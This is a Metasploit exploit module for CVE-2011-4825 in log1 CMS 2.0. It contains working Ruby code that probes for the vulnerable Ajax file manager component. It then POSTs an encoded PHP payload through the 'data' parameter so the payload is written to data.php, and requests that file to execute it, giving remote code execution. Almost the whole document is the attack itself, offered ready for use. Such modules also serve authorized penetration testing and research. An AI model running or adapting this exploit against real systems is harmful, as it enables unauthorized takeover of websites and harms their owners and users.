Log1 CMS - 'writeInfo()' PHP Code Injection (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Log1 CMS writeInfo() PHP Code Injection",
			'Description'    => %q{
					This module exploits the "Ajax File and Image Manager" component that can be
				found in log1 CMS.  In function.base.php of this component, the 'data' parameter
				in writeInfo() allows any malicious user to have direct control of writing data
				to file data.php, which results in arbitrary remote code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',     #Found the bug in ajax_create_folder.php
					'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
					'sinn3r'    #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4825'],
					['OSVDB', '76928'],
					['EDB', '18075'],  #Egix's advisory
					['EDB', '18151']   #Adel's
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['log1 CMS 2.0', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 11 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
			], self.class)
	end


	def check
		uri = target_uri.path
		uri << '/' if uri[-1, 1] != '/'

		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php"
		})

		if res and res.code == 200
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end


	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1, 1] != '/'

		peer = "#{rhost}:#{rport}"
		php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|

		print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)")
		send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php",
			'data'   => php
		})

		print_status("#{peer} - Requesting data.php")
		send_request_raw({
			'method' => 'GET',
			'uri'    => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php"
		})

		handler
	end
end